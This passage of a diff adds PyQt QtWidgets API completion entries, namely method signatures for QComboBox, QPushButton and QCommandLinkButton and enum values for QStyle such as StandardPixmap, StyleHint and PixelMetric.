+QtWidgets.QComboBox.event?4(QEvent) -> bool +QtWidgets.QComboBox.setCompleter?4(QCompleter) +QtWidgets.QComboBox.completer?4() -> QCompleter +QtWidgets.QComboBox.insertSeparator?4(int) +QtWidgets.QComboBox.clear?4() +QtWidgets.QComboBox.clearEditText?4() +QtWidgets.QComboBox.setEditText?4(QString) +QtWidgets.QComboBox.setCurrentText?4(QString) +QtWidgets.QComboBox.editTextChanged?4(QString) +QtWidgets.QComboBox.activated?4(int) +QtWidgets.QComboBox.activated?4(QString) +QtWidgets.QComboBox.currentIndexChanged?4(int) +QtWidgets.QComboBox.currentIndexChanged?4(QString) +QtWidgets.QComboBox.currentTextChanged?4(QString) +QtWidgets.QComboBox.highlighted?4(int) +QtWidgets.QComboBox.highlighted?4(QString) +QtWidgets.QComboBox.initStyleOption?4(QStyleOptionComboBox) +QtWidgets.QComboBox.focusInEvent?4(QFocusEvent) +QtWidgets.QComboBox.focusOutEvent?4(QFocusEvent) +QtWidgets.QComboBox.changeEvent?4(QEvent) +QtWidgets.QComboBox.resizeEvent?4(QResizeEvent) +QtWidgets.QComboBox.paintEvent?4(QPaintEvent) +QtWidgets.QComboBox.showEvent?4(QShowEvent) +QtWidgets.QComboBox.hideEvent?4(QHideEvent) +QtWidgets.QComboBox.mousePressEvent?4(QMouseEvent) +QtWidgets.QComboBox.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QComboBox.keyPressEvent?4(QKeyEvent) +QtWidgets.QComboBox.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QComboBox.wheelEvent?4(QWheelEvent) +QtWidgets.QComboBox.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QComboBox.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QComboBox.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QComboBox.currentData?4(int role=Qt.ItemDataRole.UserRole) -> QVariant +QtWidgets.QComboBox.inputMethodQuery?4(Qt.InputMethodQuery, QVariant) -> QVariant +QtWidgets.QComboBox.textActivated?4(QString) +QtWidgets.QComboBox.textHighlighted?4(QString) +QtWidgets.QComboBox.setPlaceholderText?4(QString) +QtWidgets.QComboBox.placeholderText?4() -> QString +QtWidgets.QPushButton?1(QWidget parent=None) +QtWidgets.QPushButton.__init__?1(self, QWidget parent=None) +QtWidgets.QPushButton?1(QString, QWidget parent=None) +QtWidgets.QPushButton.__init__?1(self, QString, QWidget parent=None) +QtWidgets.QPushButton?1(QIcon, QString, QWidget parent=None) +QtWidgets.QPushButton.__init__?1(self, QIcon, QString, QWidget parent=None) +QtWidgets.QPushButton.sizeHint?4() -> QSize +QtWidgets.QPushButton.minimumSizeHint?4() -> QSize +QtWidgets.QPushButton.autoDefault?4() -> bool +QtWidgets.QPushButton.setAutoDefault?4(bool) +QtWidgets.QPushButton.isDefault?4() -> bool +QtWidgets.QPushButton.setDefault?4(bool) +QtWidgets.QPushButton.setMenu?4(QMenu) +QtWidgets.QPushButton.menu?4() -> QMenu +QtWidgets.QPushButton.setFlat?4(bool) +QtWidgets.QPushButton.isFlat?4() -> bool +QtWidgets.QPushButton.showMenu?4() +QtWidgets.QPushButton.initStyleOption?4(QStyleOptionButton) +QtWidgets.QPushButton.event?4(QEvent) -> bool +QtWidgets.QPushButton.paintEvent?4(QPaintEvent) +QtWidgets.QPushButton.keyPressEvent?4(QKeyEvent) +QtWidgets.QPushButton.focusInEvent?4(QFocusEvent) +QtWidgets.QPushButton.focusOutEvent?4(QFocusEvent) +QtWidgets.QPushButton.hitButton?4(QPoint) -> bool +QtWidgets.QCommandLinkButton?1(QWidget parent=None) +QtWidgets.QCommandLinkButton.__init__?1(self, QWidget parent=None) +QtWidgets.QCommandLinkButton?1(QString, QWidget parent=None) +QtWidgets.QCommandLinkButton.__init__?1(self, QString, QWidget parent=None) +QtWidgets.QCommandLinkButton?1(QString, QString, QWidget parent=None) +QtWidgets.QCommandLinkButton.__init__?1(self, QString, QString, QWidget parent=None) +QtWidgets.QCommandLinkButton.description?4() -> QString +QtWidgets.QCommandLinkButton.setDescription?4(QString) +QtWidgets.QCommandLinkButton.sizeHint?4() -> QSize +QtWidgets.QCommandLinkButton.heightForWidth?4(int) -> int +QtWidgets.QCommandLinkButton.minimumSizeHint?4() -> QSize +QtWidgets.QCommandLinkButton.event?4(QEvent) -> bool +QtWidgets.QCommandLinkButton.paintEvent?4(QPaintEvent) +QtWidgets.QStyle.RequestSoftwareInputPanel?10 +QtWidgets.QStyle.RequestSoftwareInputPanel.RSIP_OnMouseClickAndAlreadyFocused?10 +QtWidgets.QStyle.RequestSoftwareInputPanel.RSIP_OnMouseClick?10 +QtWidgets.QStyle.StandardPixmap?10 +QtWidgets.QStyle.StandardPixmap.SP_TitleBarMenuButton?10 +QtWidgets.QStyle.StandardPixmap.SP_TitleBarMinButton?10 +QtWidgets.QStyle.StandardPixmap.SP_TitleBarMaxButton?10 +QtWidgets.QStyle.StandardPixmap.SP_TitleBarCloseButton?10 +QtWidgets.QStyle.StandardPixmap.SP_TitleBarNormalButton?10 +QtWidgets.QStyle.StandardPixmap.SP_TitleBarShadeButton?10 +QtWidgets.QStyle.StandardPixmap.SP_TitleBarUnshadeButton?10 +QtWidgets.QStyle.StandardPixmap.SP_TitleBarContextHelpButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DockWidgetCloseButton?10 +QtWidgets.QStyle.StandardPixmap.SP_MessageBoxInformation?10 +QtWidgets.QStyle.StandardPixmap.SP_MessageBoxWarning?10 +QtWidgets.QStyle.StandardPixmap.SP_MessageBoxCritical?10 +QtWidgets.QStyle.StandardPixmap.SP_MessageBoxQuestion?10 +QtWidgets.QStyle.StandardPixmap.SP_DesktopIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_TrashIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_ComputerIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_DriveFDIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_DriveHDIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_DriveCDIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_DriveDVDIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_DriveNetIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_DirOpenIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_DirClosedIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_DirLinkIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_FileIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_FileLinkIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_ToolBarHorizontalExtensionButton?10 +QtWidgets.QStyle.StandardPixmap.SP_ToolBarVerticalExtensionButton?10 +QtWidgets.QStyle.StandardPixmap.SP_FileDialogStart?10 +QtWidgets.QStyle.StandardPixmap.SP_FileDialogEnd?10 +QtWidgets.QStyle.StandardPixmap.SP_FileDialogToParent?10 +QtWidgets.QStyle.StandardPixmap.SP_FileDialogNewFolder?10 +QtWidgets.QStyle.StandardPixmap.SP_FileDialogDetailedView?10 +QtWidgets.QStyle.StandardPixmap.SP_FileDialogInfoView?10 +QtWidgets.QStyle.StandardPixmap.SP_FileDialogContentsView?10 +QtWidgets.QStyle.StandardPixmap.SP_FileDialogListView?10 +QtWidgets.QStyle.StandardPixmap.SP_FileDialogBack?10 +QtWidgets.QStyle.StandardPixmap.SP_DirIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogOkButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogCancelButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogHelpButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogOpenButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogSaveButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogCloseButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogApplyButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogResetButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogDiscardButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogYesButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogNoButton?10 +QtWidgets.QStyle.StandardPixmap.SP_ArrowUp?10 +QtWidgets.QStyle.StandardPixmap.SP_ArrowDown?10 +QtWidgets.QStyle.StandardPixmap.SP_ArrowLeft?10 +QtWidgets.QStyle.StandardPixmap.SP_ArrowRight?10 +QtWidgets.QStyle.StandardPixmap.SP_ArrowBack?10 +QtWidgets.QStyle.StandardPixmap.SP_ArrowForward?10 +QtWidgets.QStyle.StandardPixmap.SP_DirHomeIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_CommandLink?10 +QtWidgets.QStyle.StandardPixmap.SP_VistaShield?10 +QtWidgets.QStyle.StandardPixmap.SP_BrowserReload?10 +QtWidgets.QStyle.StandardPixmap.SP_BrowserStop?10 +QtWidgets.QStyle.StandardPixmap.SP_MediaPlay?10 +QtWidgets.QStyle.StandardPixmap.SP_MediaStop?10 +QtWidgets.QStyle.StandardPixmap.SP_MediaPause?10 +QtWidgets.QStyle.StandardPixmap.SP_MediaSkipForward?10 +QtWidgets.QStyle.StandardPixmap.SP_MediaSkipBackward?10 +QtWidgets.QStyle.StandardPixmap.SP_MediaSeekForward?10 +QtWidgets.QStyle.StandardPixmap.SP_MediaSeekBackward?10 +QtWidgets.QStyle.StandardPixmap.SP_MediaVolume?10 +QtWidgets.QStyle.StandardPixmap.SP_MediaVolumeMuted?10 +QtWidgets.QStyle.StandardPixmap.SP_DirLinkOpenIcon?10 +QtWidgets.QStyle.StandardPixmap.SP_LineEditClearButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogYesToAllButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogNoToAllButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogSaveAllButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogAbortButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogRetryButton?10 +QtWidgets.QStyle.StandardPixmap.SP_DialogIgnoreButton?10 +QtWidgets.QStyle.StandardPixmap.SP_RestoreDefaultsButton?10 +QtWidgets.QStyle.StandardPixmap.SP_CustomBase?10 +QtWidgets.QStyle.StyleHint?10 +QtWidgets.QStyle.StyleHint.SH_EtchDisabledText?10 +QtWidgets.QStyle.StyleHint.SH_DitherDisabledText?10 +QtWidgets.QStyle.StyleHint.SH_ScrollBar_MiddleClickAbsolutePosition?10 +QtWidgets.QStyle.StyleHint.SH_ScrollBar_ScrollWhenPointerLeavesControl?10 +QtWidgets.QStyle.StyleHint.SH_TabBar_SelectMouseType?10 +QtWidgets.QStyle.StyleHint.SH_TabBar_Alignment?10 +QtWidgets.QStyle.StyleHint.SH_Header_ArrowAlignment?10 +QtWidgets.QStyle.StyleHint.SH_Slider_SnapToValue?10 +QtWidgets.QStyle.StyleHint.SH_Slider_SloppyKeyEvents?10 +QtWidgets.QStyle.StyleHint.SH_ProgressDialog_CenterCancelButton?10 +QtWidgets.QStyle.StyleHint.SH_ProgressDialog_TextLabelAlignment?10 +QtWidgets.QStyle.StyleHint.SH_PrintDialog_RightAlignButtons?10 +QtWidgets.QStyle.StyleHint.SH_MainWindow_SpaceBelowMenuBar?10 +QtWidgets.QStyle.StyleHint.SH_FontDialog_SelectAssociatedText?10 +QtWidgets.QStyle.StyleHint.SH_Menu_AllowActiveAndDisabled?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SpaceActivatesItem?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SubMenuPopupDelay?10 +QtWidgets.QStyle.StyleHint.SH_ScrollView_FrameOnlyAroundContents?10 +QtWidgets.QStyle.StyleHint.SH_MenuBar_AltKeyNavigation?10 +QtWidgets.QStyle.StyleHint.SH_ComboBox_ListMouseTracking?10 +QtWidgets.QStyle.StyleHint.SH_Menu_MouseTracking?10 +QtWidgets.QStyle.StyleHint.SH_MenuBar_MouseTracking?10 +QtWidgets.QStyle.StyleHint.SH_ItemView_ChangeHighlightOnFocus?10 +QtWidgets.QStyle.StyleHint.SH_Widget_ShareActivation?10 +QtWidgets.QStyle.StyleHint.SH_Workspace_FillSpaceOnMaximize?10 +QtWidgets.QStyle.StyleHint.SH_ComboBox_Popup?10 +QtWidgets.QStyle.StyleHint.SH_TitleBar_NoBorder?10 +QtWidgets.QStyle.StyleHint.SH_ScrollBar_StopMouseOverSlider?10 +QtWidgets.QStyle.StyleHint.SH_BlinkCursorWhenTextSelected?10 +QtWidgets.QStyle.StyleHint.SH_RichText_FullWidthSelection?10 +QtWidgets.QStyle.StyleHint.SH_Menu_Scrollable?10 +QtWidgets.QStyle.StyleHint.SH_GroupBox_TextLabelVerticalAlignment?10 +QtWidgets.QStyle.StyleHint.SH_GroupBox_TextLabelColor?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SloppySubMenus?10 +QtWidgets.QStyle.StyleHint.SH_Table_GridLineColor?10 +QtWidgets.QStyle.StyleHint.SH_LineEdit_PasswordCharacter?10 +QtWidgets.QStyle.StyleHint.SH_DialogButtons_DefaultButton?10 +QtWidgets.QStyle.StyleHint.SH_ToolBox_SelectedPageTitleBold?10 +QtWidgets.QStyle.StyleHint.SH_TabBar_PreferNoArrows?10 +QtWidgets.QStyle.StyleHint.SH_ScrollBar_LeftClickAbsolutePosition?10 +QtWidgets.QStyle.StyleHint.SH_UnderlineShortcut?10 +QtWidgets.QStyle.StyleHint.SH_SpinBox_AnimateButton?10 +QtWidgets.QStyle.StyleHint.SH_SpinBox_KeyPressAutoRepeatRate?10 +QtWidgets.QStyle.StyleHint.SH_SpinBox_ClickAutoRepeatRate?10 +QtWidgets.QStyle.StyleHint.SH_Menu_FillScreenWithScroll?10 +QtWidgets.QStyle.StyleHint.SH_ToolTipLabel_Opacity?10 +QtWidgets.QStyle.StyleHint.SH_DrawMenuBarSeparator?10 +QtWidgets.QStyle.StyleHint.SH_TitleBar_ModifyNotification?10 +QtWidgets.QStyle.StyleHint.SH_Button_FocusPolicy?10 +QtWidgets.QStyle.StyleHint.SH_MessageBox_UseBorderForButtonSpacing?10 +QtWidgets.QStyle.StyleHint.SH_TitleBar_AutoRaise?10 +QtWidgets.QStyle.StyleHint.SH_ToolButton_PopupDelay?10 +QtWidgets.QStyle.StyleHint.SH_FocusFrame_Mask?10 +QtWidgets.QStyle.StyleHint.SH_RubberBand_Mask?10 +QtWidgets.QStyle.StyleHint.SH_WindowFrame_Mask?10 +QtWidgets.QStyle.StyleHint.SH_SpinControls_DisableOnBounds?10 +QtWidgets.QStyle.StyleHint.SH_Dial_BackgroundRole?10 +QtWidgets.QStyle.StyleHint.SH_ComboBox_LayoutDirection?10 +QtWidgets.QStyle.StyleHint.SH_ItemView_EllipsisLocation?10 +QtWidgets.QStyle.StyleHint.SH_ItemView_ShowDecorationSelected?10 +QtWidgets.QStyle.StyleHint.SH_ItemView_ActivateItemOnSingleClick?10 +QtWidgets.QStyle.StyleHint.SH_ScrollBar_ContextMenu?10 +QtWidgets.QStyle.StyleHint.SH_ScrollBar_RollBetweenButtons?10 +QtWidgets.QStyle.StyleHint.SH_Slider_StopMouseOverSlider?10 +QtWidgets.QStyle.StyleHint.SH_Slider_AbsoluteSetButtons?10 +QtWidgets.QStyle.StyleHint.SH_Slider_PageSetButtons?10 +QtWidgets.QStyle.StyleHint.SH_Menu_KeyboardSearch?10 +QtWidgets.QStyle.StyleHint.SH_TabBar_ElideMode?10 +QtWidgets.QStyle.StyleHint.SH_DialogButtonLayout?10 +QtWidgets.QStyle.StyleHint.SH_ComboBox_PopupFrameStyle?10 +QtWidgets.QStyle.StyleHint.SH_MessageBox_TextInteractionFlags?10 +QtWidgets.QStyle.StyleHint.SH_DialogButtonBox_ButtonsHaveIcons?10 +QtWidgets.QStyle.StyleHint.SH_SpellCheckUnderlineStyle?10 +QtWidgets.QStyle.StyleHint.SH_MessageBox_CenterButtons?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SelectionWrap?10 +QtWidgets.QStyle.StyleHint.SH_ItemView_MovementWithoutUpdatingSelection?10 +QtWidgets.QStyle.StyleHint.SH_ToolTip_Mask?10 +QtWidgets.QStyle.StyleHint.SH_FocusFrame_AboveWidget?10 +QtWidgets.QStyle.StyleHint.SH_TextControl_FocusIndicatorTextCharFormat?10 +QtWidgets.QStyle.StyleHint.SH_WizardStyle?10 +QtWidgets.QStyle.StyleHint.SH_ItemView_ArrowKeysNavigateIntoChildren?10 +QtWidgets.QStyle.StyleHint.SH_Menu_Mask?10 +QtWidgets.QStyle.StyleHint.SH_Menu_FlashTriggeredItem?10 +QtWidgets.QStyle.StyleHint.SH_Menu_FadeOutOnHide?10 +QtWidgets.QStyle.StyleHint.SH_SpinBox_ClickAutoRepeatThreshold?10 +QtWidgets.QStyle.StyleHint.SH_ItemView_PaintAlternatingRowColorsForEmptyArea?10 +QtWidgets.QStyle.StyleHint.SH_FormLayoutWrapPolicy?10 +QtWidgets.QStyle.StyleHint.SH_TabWidget_DefaultTabPosition?10 +QtWidgets.QStyle.StyleHint.SH_ToolBar_Movable?10 +QtWidgets.QStyle.StyleHint.SH_FormLayoutFieldGrowthPolicy?10 +QtWidgets.QStyle.StyleHint.SH_FormLayoutFormAlignment?10 +QtWidgets.QStyle.StyleHint.SH_FormLayoutLabelAlignment?10 +QtWidgets.QStyle.StyleHint.SH_ItemView_DrawDelegateFrame?10 +QtWidgets.QStyle.StyleHint.SH_TabBar_CloseButtonPosition?10 +QtWidgets.QStyle.StyleHint.SH_DockWidget_ButtonsHaveFrame?10 +QtWidgets.QStyle.StyleHint.SH_ToolButtonStyle?10 +QtWidgets.QStyle.StyleHint.SH_RequestSoftwareInputPanel?10 +QtWidgets.QStyle.StyleHint.SH_ListViewExpand_SelectMouseType?10 +QtWidgets.QStyle.StyleHint.SH_ScrollBar_Transient?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SupportsSections?10 +QtWidgets.QStyle.StyleHint.SH_ToolTip_WakeUpDelay?10 +QtWidgets.QStyle.StyleHint.SH_ToolTip_FallAsleepDelay?10 +QtWidgets.QStyle.StyleHint.SH_Widget_Animate?10 +QtWidgets.QStyle.StyleHint.SH_Splitter_OpaqueResize?10 +QtWidgets.QStyle.StyleHint.SH_LineEdit_PasswordMaskDelay?10 +QtWidgets.QStyle.StyleHint.SH_TabBar_ChangeCurrentDelay?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SubMenuUniDirection?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SubMenuUniDirectionFailCount?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SubMenuSloppySelectOtherActions?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SubMenuSloppyCloseTimeout?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SubMenuResetWhenReenteringParent?10 +QtWidgets.QStyle.StyleHint.SH_Menu_SubMenuDontStartSloppyOnLeave?10 +QtWidgets.QStyle.StyleHint.SH_ItemView_ScrollMode?10 +QtWidgets.QStyle.StyleHint.SH_TitleBar_ShowToolTipsOnButtons?10 +QtWidgets.QStyle.StyleHint.SH_Widget_Animation_Duration?10 +QtWidgets.QStyle.StyleHint.SH_ComboBox_AllowWheelScrolling?10 +QtWidgets.QStyle.StyleHint.SH_SpinBox_ButtonsInsideFrame?10 +QtWidgets.QStyle.StyleHint.SH_SpinBox_StepModifier?10 +QtWidgets.QStyle.StyleHint.SH_CustomBase?10 +QtWidgets.QStyle.ContentsType?10 +QtWidgets.QStyle.ContentsType.CT_PushButton?10 +QtWidgets.QStyle.ContentsType.CT_CheckBox?10 +QtWidgets.QStyle.ContentsType.CT_RadioButton?10 +QtWidgets.QStyle.ContentsType.CT_ToolButton?10 +QtWidgets.QStyle.ContentsType.CT_ComboBox?10 +QtWidgets.QStyle.ContentsType.CT_Splitter?10 +QtWidgets.QStyle.ContentsType.CT_ProgressBar?10 +QtWidgets.QStyle.ContentsType.CT_MenuItem?10 +QtWidgets.QStyle.ContentsType.CT_MenuBarItem?10 +QtWidgets.QStyle.ContentsType.CT_MenuBar?10 +QtWidgets.QStyle.ContentsType.CT_Menu?10 +QtWidgets.QStyle.ContentsType.CT_TabBarTab?10 +QtWidgets.QStyle.ContentsType.CT_Slider?10 +QtWidgets.QStyle.ContentsType.CT_ScrollBar?10 +QtWidgets.QStyle.ContentsType.CT_LineEdit?10 +QtWidgets.QStyle.ContentsType.CT_SpinBox?10 +QtWidgets.QStyle.ContentsType.CT_SizeGrip?10 +QtWidgets.QStyle.ContentsType.CT_TabWidget?10 +QtWidgets.QStyle.ContentsType.CT_DialogButtons?10 +QtWidgets.QStyle.ContentsType.CT_HeaderSection?10 +QtWidgets.QStyle.ContentsType.CT_GroupBox?10 +QtWidgets.QStyle.ContentsType.CT_MdiControls?10 +QtWidgets.QStyle.ContentsType.CT_ItemViewItem?10 +QtWidgets.QStyle.ContentsType.CT_CustomBase?10 +QtWidgets.QStyle.PixelMetric?10 +QtWidgets.QStyle.PixelMetric.PM_ButtonMargin?10 +QtWidgets.QStyle.PixelMetric.PM_ButtonDefaultIndicator?10 +QtWidgets.QStyle.PixelMetric.PM_MenuButtonIndicator?10 +QtWidgets.QStyle.PixelMetric.PM_ButtonShiftHorizontal?10 +QtWidgets.QStyle.PixelMetric.PM_ButtonShiftVertical?10 +QtWidgets.QStyle.PixelMetric.PM_DefaultFrameWidth?10 +QtWidgets.QStyle.PixelMetric.PM_SpinBoxFrameWidth?10 +QtWidgets.QStyle.PixelMetric.PM_ComboBoxFrameWidth?10 +QtWidgets.QStyle.PixelMetric.PM_MaximumDragDistance?10 +QtWidgets.QStyle.PixelMetric.PM_ScrollBarExtent?10 +QtWidgets.QStyle.PixelMetric.PM_ScrollBarSliderMin?10 +QtWidgets.QStyle.PixelMetric.PM_SliderThickness?10 +QtWidgets.QStyle.PixelMetric.PM_SliderControlThickness?10 +QtWidgets.QStyle.PixelMetric.PM_SliderLength?10 +QtWidgets.QStyle.PixelMetric.PM_SliderTickmarkOffset?10 +QtWidgets.QStyle.PixelMetric.PM_SliderSpaceAvailable?10 +QtWidgets.QStyle.PixelMetric.PM_DockWidgetSeparatorExtent?10 +QtWidgets.QStyle.PixelMetric.PM_DockWidgetHandleExtent?10 +QtWidgets.QStyle.PixelMetric.PM_DockWidgetFrameWidth?10 +QtWidgets.QStyle.PixelMetric.PM_TabBarTabOverlap?10 +QtWidgets.QStyle.PixelMetric.PM_TabBarTabHSpace?10 +QtWidgets.QStyle.PixelMetric.PM_TabBarTabVSpace?10 +QtWidgets.QStyle.PixelMetric.PM_TabBarBaseHeight?10 +QtWidgets.QStyle.PixelMetric.PM_TabBarBaseOverlap?10 +QtWidgets.QStyle.PixelMetric.PM_ProgressBarChunkWidth?10 +QtWidgets.QStyle.PixelMetric.PM_SplitterWidth?10 +QtWidgets.QStyle.PixelMetric.PM_TitleBarHeight?10 +QtWidgets.QStyle.PixelMetric.PM_MenuScrollerHeight?10 +QtWidgets.QStyle.PixelMetric.PM_MenuHMargin?10 +QtWidgets.QStyle.PixelMetric.PM_MenuVMargin?10 +QtWidgets.QStyle.PixelMetric.PM_MenuPanelWidth?10 +QtWidgets.QStyle.PixelMetric.PM_MenuTearoffHeight?10 +QtWidgets.QStyle.PixelMetric.PM_MenuDesktopFrameWidth?10 +QtWidgets.QStyle.PixelMetric.PM_MenuBarPanelWidth?10 +QtWidgets.QStyle.PixelMetric.PM_MenuBarItemSpacing?10 +QtWidgets.QStyle.PixelMetric.PM_MenuBarVMargin?10 +QtWidgets.QStyle.PixelMetric.PM_MenuBarHMargin?10 +QtWidgets.QStyle.PixelMetric.PM_IndicatorWidth?10 +QtWidgets.QStyle.PixelMetric.PM_IndicatorHeight?10 +QtWidgets.QStyle.PixelMetric.PM_ExclusiveIndicatorWidth?10 +QtWidgets.QStyle.PixelMetric.PM_ExclusiveIndicatorHeight?10 +QtWidgets.QStyle.PixelMetric.PM_DialogButtonsSeparator?10 +QtWidgets.QStyle.PixelMetric.PM_DialogButtonsButtonWidth?10 +QtWidgets.QStyle.PixelMetric.PM_DialogButtonsButtonHeight?10 +QtWidgets.QStyle.PixelMetric.PM_MdiSubWindowFrameWidth?10 +QtWidgets.QStyle.PixelMetric.PM_MDIFrameWidth?10 +QtWidgets.QStyle.PixelMetric.PM_MdiSubWindowMinimizedWidth?10 +QtWidgets.QStyle.PixelMetric.PM_MDIMinimizedWidth?10 +QtWidgets.QStyle.PixelMetric.PM_HeaderMargin?10 +QtWidgets.QStyle.PixelMetric.PM_HeaderMarkSize?10 +QtWidgets.QStyle.PixelMetric.PM_HeaderGripMargin?10 +QtWidgets.QStyle.PixelMetric.PM_TabBarTabShiftHorizontal?10 +QtWidgets.QStyle.PixelMetric.PM_TabBarTabShiftVertical?10 +QtWidgets.QStyle.PixelMetric.PM_TabBarScrollButtonWidth?10 +QtWidgets.QStyle.PixelMetric.PM_ToolBarFrameWidth?10 +QtWidgets.QStyle.PixelMetric.PM_ToolBarHandleExtent?10 +QtWidgets.QStyle.PixelMetric.PM_ToolBarItemSpacing?10 +QtWidgets.QStyle.PixelMetric.PM_ToolBarItemMargin?10 +QtWidgets.QStyle.PixelMetric.PM_ToolBarSeparatorExtent?10 +QtWidgets.QStyle.PixelMetric.PM_ToolBarExtensionExtent?10 +QtWidgets.QStyle.PixelMetric.PM_SpinBoxSliderHeight?10 +QtWidgets.QStyle.PixelMetric.PM_DefaultTopLevelMargin?10 +QtWidgets.QStyle.PixelMetric.PM_DefaultChildMargin?10 +QtWidgets.QStyle.PixelMetric.PM_DefaultLayoutSpacing?10 +QtWidgets.QStyle.PixelMetric.PM_ToolBarIconSize?10 +QtWidgets.QStyle.PixelMetric.PM_ListViewIconSize?10 +QtWidgets.QStyle.PixelMetric.PM_IconViewIconSize?10 +QtWidgets.QStyle.PixelMetric.PM_SmallIconSize?10 +QtWidgets.QStyle.PixelMetric.PM_LargeIconSize?10 +QtWidgets.QStyle.PixelMetric.PM_FocusFrameVMargin?10 +QtWidgets.QStyle.PixelMetric.PM_FocusFrameHMargin?10 +QtWidgets.QStyle.PixelMetric.PM_ToolTipLabelFrameWidth?10 +QtWidgets.QStyle.PixelMetric.PM_CheckBoxLabelSpacing?10 +QtWidgets.QStyle.PixelMetric.PM_TabBarIconSize?10 +QtWidgets.QStyle.PixelMetric.PM_SizeGripSize?10 +QtWidgets.QStyle.PixelMetric.PM_DockWidgetTitleMargin?10 +QtWidgets.QStyle.PixelMetric.PM_MessageBoxIconSize?10 +QtWidgets.QStyle.PixelMetric.PM_ButtonIconSize?10 +QtWidgets.QStyle.PixelMetric.PM_DockWidgetTitleBarButtonMargin?10 +QtWidgets.QStyle.PixelMetric.PM_RadioButtonLabelSpacing?10 +QtWidgets.QStyle.PixelMetric.PM_LayoutLeftMargin?10 +QtWidgets.QStyle.PixelMetric.PM_LayoutTopMargin?10 +QtWidgets.QStyle.PixelMetric.PM_LayoutRightMargin?10 +QtWidgets.QStyle.PixelMetric.PM_LayoutBottomMargin?10 +QtWidgets.QStyle.PixelMetric.PM_LayoutHorizontalSpacing?10 +QtWidgets.QStyle.PixelMetric.PM_LayoutVerticalSpacing?10 +QtWidgets.QStyle.PixelMetric.PM_TabBar_ScrollButtonOverlap?10 +QtWidgets.QStyle.PixelMetric.PM_TextCursorWidth?10 +QtWidgets.QStyle.PixelMetric.PM_TabCloseIndicatorWidth?10 +QtWidgets.QStyle.PixelMetric.PM_TabCloseIndicatorHeight?10 +QtWidgets.QStyle.PixelMetric.PM_ScrollView_ScrollBarSpacing?10 +QtWidgets.QStyle.PixelMetric.PM_SubMenuOverlap?10 +QtWidgets.QStyle.PixelMetric.PM_ScrollView_ScrollBarOverlap?10 +QtWidgets.QStyle.PixelMetric.PM_TreeViewIndentation?10 +QtWidgets.QStyle.PixelMetric.PM_HeaderDefaultSectionSizeHorizontal?10 +QtWidgets.QStyle.PixelMetric.PM_HeaderDefaultSectionSizeVertical?10 +QtWidgets.QStyle.PixelMetric.PM_TitleBarButtonIconSize?10 +QtWidgets.QStyle.PixelMetric.PM_TitleBarButtonSize?10 +QtWidgets.QStyle.PixelMetric.PM_CustomBase?10 +QtWidgets.QStyle.SubControl?10 +QtWidgets.QStyle.SubControl.SC_None?10 +QtWidgets.QStyle.SubControl.SC_ScrollBarAddLine?10 +QtWidgets.QStyle.SubControl.SC_ScrollBarSubLine?10 +QtWidgets.QStyle.SubControl.SC_ScrollBarAddPage?10 +QtWidgets.QStyle.SubControl.SC_ScrollBarSubPage?10 +QtWidgets.QStyle.SubControl.SC_ScrollBarFirst?10 +QtWidgets.QStyle.SubControl.SC_ScrollBarLast?10 +QtWidgets.QStyle.SubControl.SC_ScrollBarSlider?10 +QtWidgets.QStyle.SubControl.SC_ScrollBarGroove?10 +QtWidgets.QStyle.SubControl.SC_SpinBoxUp?10 +QtWidgets.QStyle.SubControl.SC_SpinBoxDown?10 +QtWidgets.QStyle.SubControl.SC_SpinBoxFrame?10 +QtWidgets.QStyle.SubControl.SC_SpinBoxEditField?10 +QtWidgets.QStyle.SubControl.SC_ComboBoxFrame?10 +QtWidgets.QStyle.SubControl.SC_ComboBoxEditField?10 +QtWidgets.QStyle.SubControl.SC_ComboBoxArrow?10 +QtWidgets.QStyle.SubControl.SC_ComboBoxListBoxPopup?10 +QtWidgets.QStyle.SubControl.SC_SliderGroove?10 +QtWidgets.QStyle.SubControl.SC_SliderHandle?10 +QtWidgets.QStyle.SubControl.SC_SliderTickmarks?10 +QtWidgets.QStyle.SubControl.SC_ToolButton?10 +QtWidgets.QStyle.SubControl.SC_ToolButtonMenu?10 +QtWidgets.QStyle.SubControl.SC_TitleBarSysMenu?10 